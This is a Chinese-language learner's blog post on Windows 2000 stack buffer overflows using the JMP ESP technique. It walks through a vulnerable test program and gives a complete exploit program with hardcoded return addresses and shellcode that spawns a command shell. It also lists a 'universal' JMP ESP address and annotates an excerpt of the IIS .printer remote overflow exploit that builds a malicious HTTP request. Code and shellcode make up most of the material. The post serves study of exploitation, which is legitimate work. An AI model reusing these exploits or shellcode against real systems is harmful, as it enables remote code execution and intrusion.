文章作者:Sunx
缓冲区溢出这个2年前就想学的东西,可惜自己没有功底,又太心浮气躁,学不成
今天买到书了,在没有什么c++和asm的基础知识底下,开始正式的学习,硬着头皮看
学习环境:
CPU: PII400 哈哈,古董级
内存:64M
系统:win2k+sp0 把原来装了的sp3都删了,哈哈还腾出200m空间
1.JMP ESP利用原理
最简单来说,就是利用jmp esp的地址来覆盖EIP,然后执行shellcode
结构:
程序代码:
[参数] [EBP] [RET] 原EIP [shellcode]
|------| |-----| |-------------| |-----------|
NNNNNN NNNNN J SSSSSSSSSSS
N=NOP JMP ESP的地址 S=SHELLCODE
| ... |
| NOP |
| NOP |<--原EBP
|JMP ESP地址|<--原EIP
| S |<--shellcode A
| S |
| ... |
| 参量地址 |
| ... |
程序执行RET即POP EIP,但原来的地址被JMP ESP的地址覆盖,所以POP EIP后,EIP=JMP ESP的地址,而堆栈指
针ESP会往下走,指向ShellCode的开始A点
2.测试程序:
程序代码:
//test.cpp
#include <stdio.h>
#include <string.h>
char name[] ="11111111123456789012";
int main()
{
char output[8];
strcpy(output, name); //把name的内容copy到output
for(int i=0;i<8&&output
;i++)
printf("\\0x%x",output);
return 0;
}
执行后内存状况
| ... |
| 0x31313131 |
| 0x31313131 |
| 0x34333231 |<--原EBP
| 0x38373635 |<--原EIP,5678覆盖了原来的EIP
| ... |
| 参量地址 |
| ... |
编译执行出错0x38373635内存不能为read,0x38373635对应为5678,其中1234覆盖了原来的EBP,5678覆盖了原
来的EIP,执行到这里时出错了,在exp中需要用JMP ESP的地址来覆盖原来的EIP,然后这时的ESP是指向
shellcode的,所以程序便可以跳转到shellcode
BTW:jmp esp 的机器码是 FF E4
利用jmpesp找出1个JMP ESP地址
[root@POYSKY E:\SOS]#jmpesp 1
jmpesp, written by sunx
http://www.sunx.org
User32:
BaseAddress: 0x77df0000
0x77e2e32a [JMP ESP]
有如下shellcode:
程序代码:
//打开dos窗口
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\x8D\x45\xF4\x50\xBA"
"\x23\x80\xE7\x77" //LoadLibrary win2k+sp0
"\xFF\xD2"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xad\xaa\x01\x78" //system win2k+sp0
"\xFF\xD0";
程序代码:
//exp.cpp
#include <stdio.h>
#include <string.h>
#include <windows.h>
char name[] =
"\x41\x41\x41\x41" //name[0]-name[3]
"\x41\x41\x41\x41" //name[4]-name[7]
"\x41\x41\x41\x41" //覆盖ebp
"\x2a\xe3\xe2\x77" //覆盖成jmp esp的地址,在sp0上的地址0x77e2e32a
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\x8D\x45\xF4\x50\xBA"
"\x23\x80\xE7\x77" //LoadLibrary win2k+sp0
"\xFF\xD2"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xad\xaa\x01\x78" //system win2k+sp0
"\xFF\xD0";
int main()
{
LoadLibrary("user32.dll");
char output[8];
strcpy(output, name);
for(int i=0;i<8&&output;i++)
printf("\\0x%x",output);
return 0;
}
总结一下溢出步骤:
第1步:精确定位返回点
第2步:shellcode编写
第3步:使用jmp esp地址
BTW:win2k,winxp,win2003下jmp esp的通用地址:0x7ffa4512 "\x12\x45\xfa\x7f"
3.实战:分析.printer溢出漏洞的exp
程序代码:
---------------------------------------------------
int i, s;
int sptype = 0;
unsigned short int webport = 80;
unsigned short int bindport = 7788;
char request[2048], jmpcode[281], execode[840];
struct hostent *ht;
struct sockaddr_in sin;
---------------------------------------------------
for(i = 0; i < 268; i++)
jmpcode = (char)NOP; //从相关漏洞分析可知道当对填充到268个字节时就可以覆盖EIP
jmpcode[268] = (char)0x12;
jmpcode[269] = (char)0x45;
jmpcode[270] = (char)0xfa;
jmpcode[271] = (char)0x7f; //jmp esp的通用地址:0x7ffa4512
jmpcode[272] = (char)0x90;
jmpcode[273] = (char)0x90;
jmpcode[274] = (char)0x90;
jmpcode[275] = (char)0x90; //填充NOP
//jmp [ebx+0x64], jump to execute shellcode
jmpcode[276] = (char)0xff;
jmpcode[277] = (char)0x63;
jmpcode[278] = (char)0x64;
jmpcode[279] = (char)0x90;
jmpcode[280] = (char)0x00;
for(i = 0; i < 32; i++)
execode = (char)NOP;
execode[32]=(char)0x00;
strcat(execode, shellcode);
snprintf(request, 2048, "GET http://%s/null.printer?%s HTTP/1.0\r\n\r\n", jmpcode,
execode);
//提交数据为:
//http://[267个NOP][0x7ffa4512][4个NOP][jmp [ebx+0x64]]/null.printer?%s HTTP/1.0\r\n\r\n
// | NOP || JMP ESP || NOP ||jmp [ebx+0x64]|| 14个 ||31个NOP||0x00||shellcode|
具体的jmp [ebx+0x64]就可以跳转到shellcode,应该是IIS的处理问题,这里还不太明白:(